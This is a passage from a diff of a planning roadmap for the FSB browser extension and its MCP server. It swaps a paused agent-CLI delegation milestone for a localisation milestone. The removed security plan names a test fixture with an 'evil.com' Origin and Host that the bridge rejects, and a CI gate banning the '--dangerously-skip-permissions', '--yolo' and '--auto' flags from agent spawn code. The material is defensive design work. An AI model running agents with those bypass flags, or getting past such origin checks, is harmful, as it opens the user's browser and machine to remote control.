`showcase/angular/src/locale/I18N-BOUNDARIES.md`. - ## Milestones -- 🚧 **v0.9.91 MCP Clients as Providers** — Phases 57-65, planning 2026-07-11. Extends the Chrome MV3 extension + `fsb-mcp-server` so installed agent CLIs (Claude Code first, then OpenCode + Codex) become first-class side-panel providers: FSB captures which MCP clients the user copies/installs/connects, presents them as key-less providers in a renamed Providers panel, and delegates side-panel tasks to a spawned agent CLI that drives the browser back through FSB's own MCP tools — with a security-first reverse-request channel, an `AgentProviderAdapter` contract, task-mode only (chat-mode deferred), CI drift-smoke gate, native-messaging wake-host, and INV-01 (byte-stable existing MCP wire) preserved end-to-end. -- ✅ **v1.2.0 Showcase i18n Completeness** — Phases 52-56, shipped 2026-07-09. Archive: `.planning/milestones/v1.2.0-ROADMAP.md`. Closes the translation gap that reopened after v0.9.63 shipped: a full-page audit establishes the true drift/missing scope, resync + stats-page translation + transcreation review close it, a CI drift-detection gate lands on the clean baseline, and the long-deferred WARNING-02 locale-cookie redirect bug is fixed. -- ✅ **v1.1.0 T1 App Execution Expansion** — Phases 44-51, shipped 2026-06-30; refreshed 2026-07-01 after post-closeout T1 ports. Expanded proven T1/guarded coverage from 26 baseline descriptors to 1,267 executable T1-ready descriptors plus 556 guarded fail-closed rows, and closed the remaining catalog tail with explicit terminal-state accounting. Archive: `.planning/milestones/v1.1.0-ROADMAP.md`. -- ✅ **v1.0.0 Full App Catalog (OpenTabs Parity)** — Phases 35-43, shipped 2026-06-29. Full OpenTabs-derived catalog/search/discovery surface: 2,314 descriptors across 128 app stems / 129 services; 26 T1/T1b descriptors today; 2,288 descriptors intentionally remain DOM/discovery-tail. Archive: `.planning/milestones/v1.0.0-ROADMAP.md`. +- 🚧 **v1.3.0 Extension multilingual UI** — Phases 66-71. Package-owned extension chrome renders in the seven showcase locales. The MCP wire stays byte-stable. v0.9.91 stays paused. +- ⏸ **v0.9.91 MCP Clients as Providers** — Phases 57-65, paused 2026-10-11, not shipped. Automated work is complete. Human UAT is still pending. Archive: `.planning/milestones/v0.9.91-ROADMAP.md`. +- ✅ **v1.2.0 Showcase i18n Completeness** — Phases 52-56, shipped 2026-07-09. Archive: `.planning/milestones/v1.2.0-ROADMAP.md`. +- ✅ **v1.1.0 T1 App Execution Expansion** — Phases 44-51, shipped 2026-06-30. Archive: `.planning/milestones/v1.1.0-ROADMAP.md`. +- ✅ **v1.0.0 Full App Catalog (OpenTabs Parity)** — Phases 35-43, shipped 2026-06-29. Archive: `.planning/milestones/v1.0.0-ROADMAP.md`. -## Current Milestone: v0.9.91 MCP Clients as Providers +## Current Milestone: v1.3.0 Extension multilingual UI -**Milestone Goal:** Make installed agent CLIs (Claude Code first) first-class side-panel providers — FSB captures which MCP clients the user installs/connects, presents them as key-less providers in a renamed Providers panel, and delegates side-panel tasks to a spawned agent CLI that drives the browser back through FSB's own MCP tools. The user's own words: "when I'm sending a message from the side panel, the FSB extension sends a request to the MCP server, which spawns a Claude/Codex/OpenCode agent with the prompt, and that agent uses FSB MCP tools to perform the task — technically driving the local coding agent from the side panel." +**Milestone Goal:** Every package-owned user-facing string in the Chrome extension can render in `en`, `es`, `de`, `ja`, `ko`, `zh-CN`, and `zh-TW`. **Key context (non-negotiable):** -- **Security-first hard rule.** The reverse-request channel is RCE-adjacent by construction: a browser click becomes `execve(claude, -p, )` inside a localhost daemon. The security foundation phase (Phase 59) — reverse-request channel + Origin/Host/secret/consent + CHAN-07 grep gate — MUST land before ANY spawn code exists. It cannot be deferred to a "hardening" phase. All CHAN-01..CHAN-07 requirements land in Phase 59 together. -- **INV-01 discipline.** Every wire addition is additive: new frame types (`ext:request`/`ext:response`/`ext:event`) + optional payload fields only. Existing `MCPMessageType` values and tool schemas stay byte-stable across the entire milestone; a byte-freeze regression test proves this in every phase that touches the wire. -- **Task-mode only.** Chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` is v2 scope (CHAT-FUTURE-01/02); every adapter's `caps()` reports `chatMode: false` for v0.9.91. -- **Adapter breadth: OpenCode + Codex; skip Gemini.** GEMINI-FUTURE-01 defers Gemini until a live `--help` capture and JSONL schema pinning are done. NATIVE and DRIFT are IN scope. -- **No `--dangerously-skip-permissions` / `--yolo` / `--auto`.** Anywhere. Ever. Not even in an "advanced mode." A permanent CI grep gate (CHAN-07) fails the build if those strings appear under `mcp/src/agent-providers/**`. -- **No `@anthropic-ai/claude-agent-sdk` embedded in FSB.** Anthropic banned third-party products from using consumer subscription auth via the SDK (enforcement Apr 4 2026). Shelling to the user's installed `claude` binary is the only compliant "no API key" path and is standard ecosystem practice (Cline, Roo, Zed, Conductor). -- **Extension has no `nativeMessaging` permission in Phases 57-62.** Delegation therefore requires a running `fsb-mcp-server serve` daemon; MVP ships an honest "agent offline → doctor" state. Phase 63 (NATIVE) adds the optional wake-host that closes this UX cliff. -- **Source-pin tripwire discipline.** FSB's test suite pins exact token counts and substrings on extension source (even comments). Every extension-touching commit updates paired tripwires; the full suite runs from commit 1 of every phase. +- Public locale codes come from `showcase/angular/src/app/core/i18n/locale-constants.ts`. Korean stays. Chinese public codes keep the hyphen. Chrome folders are `zh_CN` and `zh_TW`. +- `chrome.i18n.getMessage` and `__MSG_` follow the browser UI language only. Extension UI uses `extension/utils/ui-locale.js`. The storage key is `fsbUiLocale`. The website cookie is not read. +- A new catalog key ships in all seven `messages.json` files in the same change. The CI gate is hard from Phase 66. +- Protected literals follow `showcase/angular/src/locale/DO-NOT-TRANSLATE.md`. +- MCP tool names, descriptions, methods, error codes, storage keys, and message types stay byte-stable. +- v0.9.91 human UAT is not marked passed by this milestone. +- Phases 67-71 are sequential. They edit the same English catalog. -**Phase ordering rationale (from research; dependency chain non-negotiable):** identity data (Phase 57) → provider selection UI reads it (Phase 58) → security foundation must exist before any spawn code (Phase 59) → adapter contract needs the channel (Phase 60) → UX/lifecycle needs the adapter (Phase 61) → drift gate and doctor need something to check (Phase 62) → native-host is additive and can only close the offline cliff after the offline state itself exists (Phase 63) → contract must be stable before adapter breadth (Phases 64-65). +**Phase ordering rationale:** The resolver and the gate exist before any surface is extracted, so later phases cannot land a blank label or an English copy. Smaller shell surfaces land before the 9,330-line options page. The coverage audit runs after extraction. The language control is last, so switching locale shows a translated UI. ## Phases **Phase Numbering:** -- Integer phases (57, 58, 59, 60, 61, 62, 63, 64, 65): Planned milestone work, continuing from v1.2.0's Phase 56 -- Decimal phases (57.1, 57.2): Urgent insertions (marked with INSERTED) +- Integer phases (66, 67, 68, 69, 70, 71): Planned milestone work, continuing from v0.9.91's Phase 65 +- Decimal phases (66.1, 66.2): Urgent insertions (marked with INSERTED) -- [x] **Phase 57: Agent Identity Capture** - Persist copy-clicks, capture MCP `initialize` `clientInfo`, thread it through `agent:register`, add disk-scan detection, expose a unified `getMcpClients` view — additive on both sides of the wire (INV-01 safe), unblocks everything downstream (completed 2026-07-12) -- [x] **Phase 58: Providers Panel** - Rename "API Configuration" → "Providers", introduce `api` vs `agent` provider kinds, hide the key input for agent kind, badge exactly one "Recommended" provider via the connected > installed > copy-clicked cascade, keep `universal-provider.js` unaware of agent values (INV-03 BYOK parity) (completed 2026-07-12; live UAT deferred to milestone-end gate) -- [x] **Phase 59: Reverse-Request Channel & Security Foundation** - **SECURITY-CRITICAL, load-bearing**. Additive `ext:*` frames on ws://localhost:7225, strict Origin allowlist + Host loopback + per-install rotating shared secret in `Sec-WebSocket-Protocol`, log redaction, hub-exit-mid-delegation topology tests, permanent CI grep gate against `--dangerously-skip-permissions` / `--yolo` / `--auto` — completed 2026-07-14; automated/source verification passed and four live checks are deferred to the milestone-end UAT gate -- [x] **Phase 60: Adapter Contract & Claude Code MVP** - `AgentProviderAdapter` interface, `SpawnSupervisor` in the `serve` daemon with argv-only spawn / scrubbed env / SIGTERM-at-process-group / Windows `taskkill /T /F` / orphan scan on startup, Claude Code adapter with verified 2.1.177 flag set + shipped `fsb` agent definition + recorded stream-json JSONL fixture — completed 2026-07-14; automated/source verification passed and seven live checks are deferred to the milestone-end UAT gate -- [x] **Phase 61: Delegation UX & SW-Eviction Persistence** - Fifth `EXECUTION_MODES` entry `delegated`, explicit first-use consent card, live per-tool-call streaming feed, default-background-tab + "Take control" affordance, kill switch that reclaims owned tabs, post-run usage summary, `chrome.storage.session` per-event persistence, 20 s WS heartbeat, "agent offline → `doctor`" deep-link, restart-is-clean semantics (completed 2026-07-15; automated/source verification passed and eight live checks are deferred to the milestone-end UAT gate) -- [x] **Phase 62: CI Drift-Smoke Gate & Doctor Extensions** - Per-adapter CI drift-smoke against canned fixtures (fail-loud on unknown event types / missing fields / version outside compat matrix), `fsb-mcp-server doctor` per-adapter section (binary path, version, auth, secret rotation age), machine-readable adapter compatibility matrix consumed by the extension (completed 2026-07-16; automated/source/full-suite verification passed and three live checks are deferred to the milestone-end UAT gate) -- [ ] **Phase 63: Native-Messaging Host** - `install --native-host` writes the platform-appropriate manifest (mac/Linux/Windows), extension gains additive `nativeMessaging` permission, "Agent offline" state auto-attempts wake before the doctor deep-link; the native host only launches (or attaches to) `serve` — it NEVER spawns agent CLIs directly (all spawn authority stays inside the daemon behind Phase 59 CHAN gates) -- [ ] **Phase 64: OpenCode Adapter** - Second adapter proves the contract accommodates server-mode + attach on top of cold spawn without any Phase 60 rewrite; pinned OpenCode agent definition + recorded JSONL fixture + drift-smoke coverage -- [ ] **Phase 65: Codex Adapter** - Third adapter with `codex exec --json` on the verified 0.142.5 hermetic flag set (`--ephemeral` + `--ignore-user-config`, never the deprecated `--full-auto`), `detect()` surfacing ChatGPT OAuth / API key / unauthenticated so the Providers panel discloses which billing bucket a run will hit; `caps.chatMode: false` across all adapters (automated/source verification passed 2026-07-22; exactly three live UAT scenarios remain pending) +- [x] **Phase 66: Locale plumbing and CI gate** - Seed catalogs, the runtime resolver, manifest `default_locale`, and a CI gate that fails on a missing key, an empty message, a placeholder change, or copied English (completed 2026-10-11) +- [x] **Phase 67: Manifest, side panel, and popup** - Localized store identity plus side-panel and popup chrome, with all six translations in the same change +- [x] **Phase 68: Options and control panel** - Localized options and control-panel chrome, the largest surface +- [x] **Phase 69: Onboarding, entry pages, and overlay chrome** - Localized onboarding, unlock, microphone permission, and FSB-authored overlay labels +- [x] **Phase 70: Coverage audit** - CI fails if in-scope files still contain package-owned English prose outside the catalog +- [x] **Phase 71: Language control** - A persistent seven-locale control that applies without restarting Chrome ## Phase Details -### Phase 57: Agent Identity Capture -**Goal**: FSB knows which MCP-capable agent CLIs the user has installed on disk, has expressed intent to install (via onboarding copy clicks), and has actually connected via MCP `initialize` — surfaced as a single ground-truth view that unblocks every downstream provider-selection decision. -**Depends on**: Nothing (first phase of this milestone; pure additive data layer on both sides of the wire) -**Requirements**: IDENT-01, IDENT-02, IDENT-03, IDENT-04, IDENT-05 +### Phase 66: Locale plumbing and CI gate +**Goal**: The extension can resolve a locale, load a message, fall back to English, and fail CI when a catalog is structurally or prosaically wrong, before any screen is migrated. +**Depends on**: Nothing (first phase of this milestone) +**Requirements**: LOC-01, LOC-02, LOC-03, LOC-04, LOC-05, WIRE-01, QUAL-01, QUAL-02, QUAL-03 **Success Criteria** (what must be TRUE): - 1. When the user clicks any copy-to-clipboard button on the onboarding MCP-install screen (for `claude-code`, `cursor`, `vscode`, `windsurf`, `codex`, `opencode`, `openclaw`, `claude-desktop`, or `all`), FSB records that client id (with timestamp, deduplicated, all-clients aggregated for multi-select cases) into a durable `fsbAgentProviders.clicked` list in `chrome.storage.local` that survives service-worker eviction and Chrome restart. - 2. When any MCP client completes its `initialize` handshake with `fsb-mcp-server` (over stdio, streamable-HTTP, or the ws://7225 bridge), FSB captures the caller's `clientInfo.name` and `clientInfo.version`, threads them through an additive field on the existing `agent:register` bridge payload, stamps them onto the live `AgentRecord` in the registry, and rolls the identity up into a durable `fsbAgentProviders.connected` entry keyed so re-connections update rather than duplicate. - 3. `fsb-mcp-server` can enumerate installed MCP-capable clients on the current machine by inspecting the paths already known to `platforms.ts` (per-OS `configPath` for file-mode clients; `claude --version` binary probe for cli-mode `claude-code`) and report each as `installed` / `not-installed` with any parseable version. - 4. A single `getMcpClients` extension runtime message returns a merged `clicked ∪ installed ∪ connected` view with per-client status, so UI surfaces read one consistent structure instead of assembling it themselves — and the merged view survives MV3 service-worker eviction. - 5. INV-01 holds: no existing `MCPMessageType` value, no existing tool schema, and no existing consumer of the `agent:register` payload breaks — the additive `clientInfo` field is optional and existing `payload: {}` handlers keep working byte-for-byte. -**Plans**: 3/3 complete -- [x] 57-01: Capture lazy MCP client identity and daemon-side installed-client inventory. -- [x] 57-02: Persist durable clicked, connected, and installed evidence in the extension. -- [x] 57-03: Expose the canonical merged MCP-client evidence view with compatibility locks. - -### Phase 58: Providers Panel -**Goal**: The control panel's "API Configuration" section becomes the "Providers" panel — distinguishing BYOK API providers from installed agent CLIs, badging exactly one provider "Recommended" from ground truth (never auto-switching selection), and shipping honest no-fabrication cost/usage copy for agent-kind providers. -**Depends on**: Phase 57 (needs real `fsbAgentProviders` data to render agent rows and to drive the "Recommended" cascade) -**Requirements**: PROV-01, PROV-02, PROV-03, PROV-04, PROV-05, PROV-06 + 1. A packaged build with the browser UI language set to German loads the German seed message, and a build with an unknown language loads the English seed message. + 2. Saving `fsbUiLocale` as `ja` makes `t()` return the Japanese message even when the browser language is English. Clearing the key returns to the browser language. The resolver never reads a cookie. + 3. A missing Japanese key still shows the English message, not an empty string. `zh-Hans` resolves to `zh-CN` and the file on disk is `_locales/zh_CN/messages.json`. + 4. The CI script exits non-zero on a fixture with a missing key, an empty message, a dropped placeholder, or copied English prose that is not on the hash-bound allowlist, and it exits zero on the seed catalog. + 5. A byte comparison of MCP tool schemas and bridge message types against the phase base shows no change. +**Plans**: 1/1 complete +- [x] 66-01: Locale resolver, seed catalogs, and CI gate. + +### Phase 67: Manifest, side panel, and popup +**Goal**: The store identity, side panel, and popup show package-owned chrome in the active locale. +**Depends on**: Phase 66 +**Requirements**: SHELL-01, SHELL-02, SHELL-03 **Success Criteria** (what must be TRUE): - 1. The control panel section formerly labeled "API Configuration" is labeled "Providers" (heading, nav label, and the legacy `#api-config` anchor continues to work as a redirect to the new `#providers` anchor for existing bookmarks); the source-pin tripwire suite stays green from commit 1 of this phase. - 2. Every provider row has an explicit `providerKind` of either `api` (the existing 7 BYOK LLM providers) or `agent` (a locally installed agent CLI); the kind determines which fields render — an `agent`-kind selection hides the API-key input, key-URL hint, and per-model key-format hint, and shows install status, auth status (where the CLI exposes it), connection status, and a "uses your subscription — no API key needed" caption instead. - 3. Exactly one provider is badged "Recommended" per session, chosen by the strict ground-truth cascade (highest = a CLI currently connected via MCP `initialize`, next = a CLI installed on disk, next = a CLI whose copy button was clicked during onboarding, fallback = the existing xAI-default recommendation); the badge is advisory only — the user's selection is never auto-switched. - 4. `universal-provider.js` (the existing BYOK request builder) never observes an agent value: switching between an active agent provider and a BYOK api provider preserves the other's configuration, and INV-03 provider parity for the 7 BYOK providers holds unchanged. - 5. Cost/usage rows for `agent`-kind providers display token count, turn count, and duration alongside the label "included in your subscription", with a link to the vendor's current billing page — never a fabricated dollar amount and never the words "free" or "unlimited". -**Plans**: 3/3 complete + 1. Chrome displays the localized extension name and description for each of the seven locales. The visible name still contains the untranslated brand `FSB`, and the manifest `version` field is still the version. + 2. Opening the side panel in Spanish shows Spanish labels, buttons, empty states, and status text for package-owned chrome. User-typed text and model output stay as they were. + 3. Opening the popup in Korean shows Korean package-owned chrome, including button titles and status text. + 4. Every key added in this phase exists in all seven catalogs with matching placeholders, and the Phase 66 gate stays green. +**Plans**: 1/1 complete +- [x] 67-01: Manifest tokens, resting chrome, and runtime status text. **UI hint**: yes -### Phase 59: Reverse-Request Channel & Security Foundation -**Goal**: Extension → daemon reverse requests transit the existing `ws://localhost:7225` bridge with every documented 2025-2026 CVE-class defense enforced from commit one — Origin allowlist, Host loopback, per-install rotating shared secret, log redaction, additive-only wire evolution, and a permanent grep gate against the three "one-click RCE" flags. This phase is SECURITY-CRITICAL and load-bearing: it ships BEFORE any spawn code exists in Phase 60. -**Depends on**: Nothing (channel design is orthogonal to Phase 57/58 data + UI; can develop in parallel but MUST be code-green before Phase 60 starts) -**Requirements**: CHAN-01, CHAN-02, CHAN-03, CHAN-04, CHAN-05, CHAN-06, CHAN-07 -**Success Criteria** (what must be TRUE): - 1. A new `ext:request` / `ext:response` / `ext:event` bridge message-type family transports extension → daemon reverse requests over the existing ws://localhost:7225 bridge, and a byte-freeze regression test proves every existing `MCPMessageType` value, tool schema, and bridge payload stays byte-identical (INV-01 additive proof). - 2. A relay process advertising `capabilities: ['agent-spawn']` on `relay:hello` becomes the routing target for `ext:*` frames: the hub routes each `ext:request` locally when it is itself the daemon, forwards to the first `agent-spawn`-advertising relay when it is not, and replies `agent_provider_offline` when no supervisor is present — verified by extending `tests/mcp-bridge-topology.test.js` with new hub-exit-mid-delegation and relay-mid-`ext:*`-frame cases without breaking any existing hub-exit-promotion test. - 3. A fixture crafted with `Origin: https://evil.com` on the WebSocket upgrade is rejected before any handler runs; a second fixture with `Host: evil.com:7225` (even when the target actually resolves to 127.0.0.1) is rejected as DNS-rebind defense — the bridge accepts `ext:*` frames only when the WS upgrade carried an `Origin` matching a durable per-install `chrome-extension://` allowlist and a `Host` exactly `127.0.0.1` or `localhost` at the loopback port, and the daemon never binds `0.0.0.0`. - 4. A per-install ≥32-byte shared secret is provisioned once between the extension and the daemon, transported only in the `Sec-WebSocket-Protocol` upgrade header (never in URL, never in payloads, never in logs), rotated on daemon restart, and required on every `ext:*` frame — and `redactForLog` plus every tracked diagnostic ring-buffer sink strips any string matching the shared-secret token pattern, with a build-time drift gate that fails if a raw secret substring appears in any tracked log fixture. - 5. A permanent CI grep gate fails the build if the strings `--dangerously-skip-permissions`, `--yolo`, or `--auto` appear anywhere in `mcp/src/agent-providers/**`, so those "one-click RCE" flags can never enter the spawn path in any future patch. -**Plans**: 4/4 complete - -### Phase 60: Adapter Contract & Claude Code MVP -**Goal**: A shell-free, tree-killable `SpawnSupervisor` in the `serve` daemon spawns the user's installed `claude` CLI via a formal five-method `AgentProviderAdapter` contract — with a shipped `fsb` agent definition (never prompt-stuffing), `--strict-mcp-config` hermeticity, and a recorded stream-json JSONL fixture — so a user with Claude Code installed can send a side-panel message and observe the agent drive their live browser back through FSB's MCP tools with visible per-tool-call feedback. This phase is the integration payoff; the contract is designed for adapter breadth so OpenCode/Codex slot in without rework. -**Depends on**: Phase 58 (provider selection reads the Providers panel), Phase 59 (channel + all CHAN security foundations must be code-green before any spawn code exists) -**Requirements**: ADAPT-01, ADAPT-02, ADAPT-03, ADAPT-04, ADAPT-05, CLAUDE-01, CLAUDE-02, CLAUDE-03, CLAUDE-04 -**Success Criteria** (what must be TRUE): - 1. The `AgentProviderAdapter` TypeScript interface (`mcp/src/agent-providers/adapter.ts`) exposes exactly five methods (`detect()` → `{installed, version, authState, binary}`, `buildSpawn(task, ctx)` → `SpawnSpec`, `parseEvents(stream)` → `AsyncIterable`, `kill(child, {grace})` → `Promise`, `caps()` → `AdapterCapabilities`), and the Claude Code adapter (`mcp/src/agent-providers/claude-code.ts`) implements all five and is registered against the `INSTALL_CLIENTS` / `PLATFORMS` client id `claude-code`. - 2. A user with Claude Code installed can select "Claude Code" as their provider in the side panel, type a task, and observe the spawned CLI drive their live browser back through FSB's MCP tools — with visible per-tool-call feedback — while every existing FSB MCP tool call remains byte-identical on the wire (INV-01 preserved end-to-end through the delegation round-trip; the byte-freeze regression test still passes). - 3. The `SpawnSupervisor` accepts a validated spawn request over Phase 59's `ext:request` channel, looks up the requested adapter, constructs argv from adapter output plus a daemon-controlled flag allowlist (unknown payload keys rejected with a typed error), and spawns the child with `{ detached: true, windowsHide: true, stdio: ['pipe','pipe','pipe'] }` and an environment with `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, and `GEMINI_API_KEY` scrubbed; the supervisor never invokes a shell, and the user's prompt reaches the CLI only via `child.stdin` (never argv, never `sh -c`) so shell metacharacters and Windows `.cmd`-shim EINVAL (Node CVE-2024-27980) cannot execute. - 4. A `stop` / cancel request triggers SIGTERM at the process-group level on POSIX (`process.kill(-child.pid, 'SIGTERM')` after `spawn({detached:true})`), `taskkill /pid /T /F` on Windows, escalates to SIGKILL after a grace window, and does not resolve the delegation until either an exit-signal is observed or the daemon confirms no descendant matches remain — grandchildren, MCP sub-servers, and shell tools spawned by the CLI are all terminated. - 5. On daemon startup, the supervisor scans for orphaned children matching prior adapter fingerprints (env-var tag + argv pattern) and kills them before accepting new spawn requests, and reports the scan result in structured diagnostics — so a daemon crash mid-run cannot leave a ghost CLI controlling the browser. - 6. The Claude Code adapter spawns `claude -p --verbose --output-format stream-json --include-partial-messages --strict-mcp-config --mcp-config --agents --agent fsb --permission-mode dontAsk --allowedTools "mcp__fsb" --disallowedTools "Bash,Edit,Write,NotebookEdit,WebFetch,WebSearch" --max-turns 40 --no-session-persistence` (or the version-appropriate equivalent selected by `detect()`); `parseEvents` translates the CLI's stream-json events into a normalized `AgentEvent` schema, fails loud on unknown event types (surfaced as `agent_protocol_drift` diagnostic), and is covered by a recorded JSONL fixture under `tests/fixtures/agent-streams/claude-code-2.1.177/` so CI runs without a live CLI; `detect()` fingerprints via `claude --version`, compares against a minimum supported version, and reports `installed=false` with a doctor-diagnostic message rather than spawning if the version predates the verified stream-json contract. -**Plans**: 4/4 complete -- [x] 60-01: Freeze the exact adapter contract, Claude detection/profile, and shipped FSB agent policy. -- [x] 60-02: Normalize bounded Claude JSONL through the concrete adapter with truthful offline fixture provenance. -- [x] 60-03: Build private runtime state plus verified POSIX/Windows termination and orphan recovery. -- [x] 60-04: Wire the serve-only supervisor, exact-once reverse delegation, full regression gates, and deferred UAT ledger. - -### Phase 61: Delegation UX & SW-Eviction Persistence -**Goal**: The side panel becomes a first-class delegation surface — visible first-use consent gate, live per-tool-call streaming feed, default-background-tab with a "Take control" affordance, kill switch that reclaims owned tabs, honest post-run usage summary, and MV3 SW-eviction-safe persistence so a 45-minute run resumes exactly the feed the user last saw. The extension has no `nativeMessaging` permission at this point — this phase ships the honest "Agent offline → `doctor`" state that Phase 63 later augments with an optional wake path. -**Depends on**: Phase 60 (adapter contract + Claude Code MVP producing the `AgentEvent` stream + tab ownership on spawn); Phase 59 heartbeat plumbing -**Requirements**: UX-01, UX-02, UX-03, UX-04, UX-05, UX-06, LIFE-01, LIFE-02, LIFE-03, LIFE-04 +### Phase 68: Options and control panel +**Goal**: The options page and control panel show package-owned chrome in the active locale. +**Depends on**: Phase 67 +**Requirements**: SET-01 **Success Criteria** (what must be TRUE): - 1. A fifth `EXECUTION_MODES` entry `delegated` in `extension/ai/engine-config.js` (with `uiFeedbackChannel: 'popup-sidepanel'`, `animatedHighlights: true`, wall-clock + event-silence watchdogs, and no iteration cap — the reasoning loop runs in the spawned CLI, not `runAgentLoop`) is selected automatically whenever the active provider is agent-kind, and the extension's own `runAgentLoop` is never entered for delegated tasks. - 2. Before FSB spawns any agent CLI for the first time, the user sees an explicit consent card that names the CLI, states what it will be permitted to do (drive FSB MCP tools on the user's live browser), and states what it will not (edit files, run shell, fetch arbitrary URLs); a per-run confirm-to-continue toggle is on by default and can be disabled per-provider only via an explicit "trust this agent" setting — the copy never uses "faster mode" language. - 3. The side panel renders a live per-run streaming feed with distinct card types for `init` (client, model, session id, allowed tools), `tool-call` (name, args summary, tab id), `retry` (typed error class), and `result` (usage summary) driven by the normalized `AgentEvent` stream; a delegated run opens by default in a new background tab, and when the user activates the tab the agent is driving, a persistent "Take control" affordance appears that pauses the agent (v0.9.60 ownership release + supervisor grace hold), lets the user interact, and offers "Resume with agent" to give ownership back. - 4. A prominent Stop button in the side panel triggers `stopDelegatedTask`, routes to the supervisor's kill, and — on confirmed exit — releases every tab that was owned by the spawned agent (per v0.9.60 ownership) and reports "Agent stopped, N tab(s) released" in the feed; a post-run summary card displays tokens (in/out/total), turn count, wall-clock duration, cost bucket (`included in your subscription` for agent kind, real USD for api kind), and an expandable per-tool-call breakdown. - 5. Every progress event received from the supervisor is written to `chrome.storage.session` under a per-delegation key BEFORE it fans out to UI subscribers, so a mid-run MV3 service worker eviction reloads exactly the delivered feed on re-open — no ghost state, no fabricated events, no dropped events; the fifth `EXECUTION_MODES` entry works end-to-end across a forced SW eviction in a test fixture. - 6. While a delegation is active, the extension pings the bridge every 20 s over the existing WS heartbeat channel to keep the Chrome 116+ SW-lifetime extension applied; if 3 heartbeats are missed the side panel switches to a `daemon:disconnected` fallback that offers a doctor-relaunch button but does not attempt an in-extension restart; if `fsb-mcp-server serve` is not running when a delegated send is attempted, the side panel shows an "Agent offline" state with a deep-link to `fsb-mcp-server doctor` output and does not enqueue or optimistically show the message; if the daemon restarts while a delegation was mid-flight, the supervisor kills any surviving spawned CLI (never re-adopts) and reports `daemon_restart_lost_run` in the side panel so the user knows the run ended. -**Plans**: 8/8 complete; automated/source verification passed; eight live UAT checks deferred to the milestone-end gate -- [x] 61-01: Freeze exact agent routing, delegated mode, read-only preflight, one-use consent, and provider-local trust. -- [x] 61-02: Build the bounded write-before-fanout event ledger and sole delegated lifecycle controller. -- [x] 61-03: Serialize async bridge observers, add acknowledged active-delegation heartbeat, and pin Chrome 116/no-native authority. -- [x] 61-04: Correlate server delegation ids with extension agents and add sealed complete mapped-tab hold leases. -- [x] 61-05: Add supervisor hold/resume/status plus generation-backed restart-loss evidence. -- [x] 61-06: Integrate start, handoff, Stop, hydration, heartbeat, and recovery in the service worker. -- [x] 61-07: Implement the safe, exact-copy, accessible delegated side-panel feed and lifecycle UI. -- [x] 61-08: Install complete regression/evidence gates and defer genuine live UAT to the milestone-end ledger. + 1. Opening the control panel in German shows German labels, buttons, hints, and status text for package-owned chrome. + 2. Provider names, model ids, storage keys, and error codes that are protocol identifiers remain unchanged. + 3. Every key added in this phase exists in all seven catalogs, and the Phase 66 gate stays green. +**Plans**: 1/1 complete +- [x] 68-01: Control-panel catalogs and runtime status text. **UI hint**: yes -### Phase 62: CI Drift-Smoke Gate & Doctor Extensions -**Goal**: An `fsb-mcp-server doctor` operator and CI both catch adapter drift the moment an agent CLI ships a new flag or event-shape — with a machine-readable adapter compatibility matrix the extension consumes to render "supported / degraded / unsupported" states without hardcoding versions anywhere in extension source. -**Depends on**: Phase 60 (needs at least one adapter to run drift-smoke against; Phase 61 UX consumes the compatibility matrix for rendering degraded states) -**Requirements**: DRIFT-01, DRIFT-02, DRIFT-03, DRIFT-04 +### Phase 69: Onboarding, entry pages, and overlay chrome +**Goal**: First-run pages and the on-page overlay show FSB-authored chrome in the active locale, without translating the page or the task. +**Depends on**: Phase 68 +**Requirements**: ENTRY-01, ENTRY-02, ENTRY-03 **Success Criteria** (what must be TRUE): - 1. A CI job runs each shipped adapter against a canned prompt fixture, asserts the known event-type sequence and the presence of required fields on `system/init` and `result`, and fails the build on unknown event types, missing required fields, or a `--version` outside the compatibility matrix — with no live CLI required (the recorded JSONL fixtures from Phases 60/64/65 suffice), so contributors without every CLI installed can still land safe changes. - 2. `fsb-mcp-server doctor` gains a per-adapter section reporting: binary path, version, auth state (parseable where the CLI exposes it), shared-secret presence, and the current spawn-secret rotation age — so an operator with only `doctor` output can identify which adapter failed and why. - 3. The diagnostics ring buffer classifies drift events as `agent_protocol_drift` with adapter id, expected vs observed fields, and rate-limits duplicate entries at the existing 1-per-10s bucket so a chatty drift does not blow the buffer. - 4. `doctor` emits a machine-readable adapter compatibility matrix that both the CI drift-smoke job and the extension can read; the extension consumes the matrix at boot (and on doctor refresh) to render `supported` / `degraded` / `unsupported` badges in the Providers panel — and never hardcodes CLI versions in extension source. -**Plans**: 6 plans -- [x] 62-01: Establish the canonical adapter compatibility matrix/classifier and generalized offline drift-smoke CI gate. -- [x] 62-02: Extend `doctor` with offline adapter diagnostics, safe spawn-secret metadata, and text/JSON parity. -- [x] 62-03: Carry the authenticated safe compatibility projection into background-owned durable, freshness-aware provider state. -- [x] 62-04: Project sanitized protocol-drift detail and report it exactly once through a true per-adapter pre-throttle. -- [x] 62-05: Render exact, accessible, non-mutating compatibility badges and selected-provider details. -- [x] 62-06: Wire root/source/security gates and preserve all genuine live evidence in the pending milestone-end UAT ledger. + 1. Onboarding in Simplified Chinese shows Simplified Chinese package-owned copy. + 2. The unlock page and the microphone-permission page in Traditional Chinese show Traditional Chinese package-owned copy. + 3. The on-page overlay in Japanese shows Japanese text for FSB-authored controls such as Stop, Done, and replay speed. The task title and model summary remain the original strings. + 4. Every key added in this phase exists in all seven catalogs, and the Phase 66 gate stays green. +**Plans**: 1/1 complete +- [x] 69-01: Entry pages and overlay chrome. +**UI hint**: yes -### Phase 63: Native-Messaging Host -**Goal**: When the user has installed the optional native-messaging host, the "Agent offline" state auto-attempts to wake `fsb-mcp-server serve` before falling back to the Phase 61 doctor deep-link — closing the UX cliff introduced by the extension having no `nativeMessaging` permission through Phases 57-62. All spawn authority stays inside the serve daemon behind Phase 59's CHAN gates; the native host itself never spawns agent CLIs. -**Depends on**: Phase 61 ("Agent offline → doctor" state must already exist for the wake to have a fallback), Phase 62 (doctor extensions already report daemon state) -**Requirements**: NATIVE-01, NATIVE-02, NATIVE-03, NATIVE-04 +### Phase 70: Coverage audit +**Goal**: No in-scope surface still contains leftover package-owned English prose. +**Depends on**: Phase 69 +**Requirements**: COPY-01 **Success Criteria** (what must be TRUE): - 1. `fsb-mcp-server install --native-host` writes the platform-appropriate native-messaging host manifest — macOS `~/Library/Application Support/Google/Chrome/NativeMessagingHosts/`, Linux `~/.config/google-chrome/NativeMessagingHosts/`, Windows registry `HKCU\Software\Google\Chrome\NativeMessagingHosts\` — allowing the FSB extension id as the sole caller, and installs a host binary that can wake the daemon on demand. - 2. The extension's 